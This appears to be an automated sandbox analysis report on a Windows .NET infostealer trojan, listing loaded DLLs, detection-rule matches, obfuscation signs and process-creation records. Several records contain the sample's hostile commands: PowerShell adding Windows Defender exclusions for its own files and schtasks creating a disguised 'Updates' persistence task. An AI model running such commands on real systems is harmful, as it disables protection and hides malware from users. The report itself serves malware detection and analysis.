Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Section loaded: ucrtbase_clr0400.dll

Source: oBMlky3Rkm7h5QK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.ECXXCuFHUVw.exe.46edac8.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: oBMlky3Rkm7h5QK.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ECXXCuFHUVw.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, OTWUo99bfyR.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, OTWUo99bfyR.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, Ui9qhZiA7.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, Ui9qhZiA7.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, BqMB7yHhrXg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, BqMB7yHhrXg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, BqMB7yHhrXg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, BqMB7yHhrXg.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, sdWILBNvBBU0paUJK3.cs	Security API names: _0020.SetAccessControl
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, sdWILBNvBBU0paUJK3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, sdWILBNvBBU0paUJK3.cs	Security API names: _0020.AddAccessRule
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, UgSrknbgKc7CbTnK3T.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, sdWILBNvBBU0paUJK3.cs	Security API names: _0020.SetAccessControl
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, sdWILBNvBBU0paUJK3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, sdWILBNvBBU0paUJK3.cs	Security API names: _0020.AddAccessRule
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, UgSrknbgKc7CbTnK3T.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 0.2.oBMlky3Rkm7h5QK.exe.2e08380.1.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.oBMlky3Rkm7h5QK.exe.56a0000.7.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.oBMlky3Rkm7h5QK.exe.2e10398.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/19@2/2

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

File created: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4620:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Mutant created: \Sessions\1\BaseNamedObjects\qTyhEpmBbahPstupOEe
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3940:120:WilError_03

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

File created: C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp

Jump to behavior

Source: oBMlky3Rkm7h5QK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: oBMlky3Rkm7h5QK.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: oBMlky3Rkm7h5QK.exe	ReversingLabs: Detection: 68%
Source: oBMlky3Rkm7h5QK.exe	Virustotal: Detection: 59%

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

File read: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe "C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe"
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe "C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe"
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: oBMlky3Rkm7h5QK.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: oBMlky3Rkm7h5QK.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: oBMlky3Rkm7h5QK.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: HGCt.pdb source: oBMlky3Rkm7h5QK.exe, ECXXCuFHUVw.exe.0.dr
Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000009.00000002.2138116627.0000000005880000.00000004.00000020.00020000.00000000.sdmp, qZeUnR.exe, 0000000F.00000000.2223100492.0000000000692000.00000002.00000001.01000000.0000000D.sdmp, qZeUnR.exe.9.dr
Source:	Binary string: RegSvcs.pdbKL source: RegSvcs.exe, 0000000E.00000002.3313067108.00000000064D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, 00000009.00000002.2138116627.0000000005880000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3313067108.00000000064D0000.00000004.00000020.00020000.00000000.sdmp, qZeUnR.exe, 0000000F.00000000.2223100492.0000000000692000.00000002.00000001.01000000.0000000D.sdmp, qZeUnR.exe.9.dr
Source:	Binary string: HGCt.pdbSHA256 source: oBMlky3Rkm7h5QK.exe, ECXXCuFHUVw.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, sdWILBNvBBU0paUJK3.cs	.Net Code: RagZLYBhXvQrUBlZcDV System.Reflection.Assembly.Load(byte[])
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, sdWILBNvBBU0paUJK3.cs	.Net Code: RagZLYBhXvQrUBlZcDV System.Reflection.Assembly.Load(byte[])
Source: 0.2.oBMlky3Rkm7h5QK.exe.54a0000.6.raw.unpack, wehuuoKhMKMbnQu72K.cs	.Net Code: LOPk5OGwQvvejRfJl7n System.Reflection.Assembly.Load(byte[])
Source: 0.2.oBMlky3Rkm7h5QK.exe.2df44e0.0.raw.unpack, wehuuoKhMKMbnQu72K.cs	.Net Code: LOPk5OGwQvvejRfJl7n System.Reflection.Assembly.Load(byte[])

Source: oBMlky3Rkm7h5QK.exe

Static PE information: 0xE6CCA141 [Sat Sep 13 18:51:45 2092 UTC]

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07066442 push ebx; ret	0_2_07066448
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07068270 push esp; iretd	0_2_07068271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0249EDF0 pushad ; retn 05D6h	9_2_0249EE99
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_02490CB5 push edi; ret	9_2_02490CC2
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_0157EA60 pushad ; retf	10_2_0157EA69
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F654C push ebx; ret	10_2_077F654D
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F6442 push ebx; ret	10_2_077F6448
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F8270 push esp; iretd	10_2_077F8271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0163EDF0 pushad ; retn 06A9h	14_2_0163EE99
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01630C4B push edi; retf	14_2_01630C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01630C93 push edi; ret	14_2_01630CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06AEFEF0 push es; ret	14_2_06AEFEF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06F203C0 push es; ret	14_2_06F203D0

Source: oBMlky3Rkm7h5QK.exe	Static PE information: section name: .text entropy: 7.660905612133851
Source: ECXXCuFHUVw.exe.0.dr	Static PE information: section name: .text entropy: 7.660905612133851

Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, Shm8rrVQ86ianZwLqDP.cs	High entropy of concatenated method names: 'W0nq5ND06x', 'VNaqZRltYH', 'VfiqDB7ukN', 'uyoqoMYkKD', 'XBaqnIx9C5', 'jnGqGhTwvO', 'YiqqfW0RgE', 'LEMqbraUYy', 'jnuqSPmGtD', 'qr8qJdYsCQ'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, WqcFFlYkd91GFNwSN9.cs	High entropy of concatenated method names: 'ToString', 'qpsHA4TxHA', 'D82H3q6Z0e', 'S4LHtuIB7j', 'h5THl4Der9', 'nuFH9OkIXR', 'Pe8Hy9GZQ4', 'elQHEiErUT', 'KXcH2R26dB', 'UefHTCfFBU'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, VgqpFeBQkCjASXBE5Q.cs	High entropy of concatenated method names: 'j92vIoxKnJ', 'Mk6vPRRLtr', 'mjcvdhvWlJ', 'eI6vp5Ch0v', 'fiqvLT651a', 'haavkyqrQo', 'pDPvNiR5SO', 'nCwv1CEXqY', 'kk0vMV4cIU', 'y5Yve3fwdy'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, h4i7XBwIpFKWLlh4dN.cs	High entropy of concatenated method names: 'ss3XB7erxi', 'YoGX45hq5p', 'ncOvQJF2bY', 'cZQvV92mk9', 'oblXA3CSS0', 'cMkXahSF70', 'JlXXmimdof', 'vuuX8m3EJg', 'gLaX7ouMJq', 'y5fXY7xwV5'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, TwI7Y4m8K7mSSD0YhV.cs	High entropy of concatenated method names: 'YJwjbtGDE9', 'vVRjSvAVnq', 'q9OjFI8xf5', 'zexj3TmULA', 'eJ7jlirI3w', 'i3uj903Rx2', 'NM3jETlQsj', 'QlPj25cFxD', 'se5jxF8Uns', 'CgwjAYEqEb'
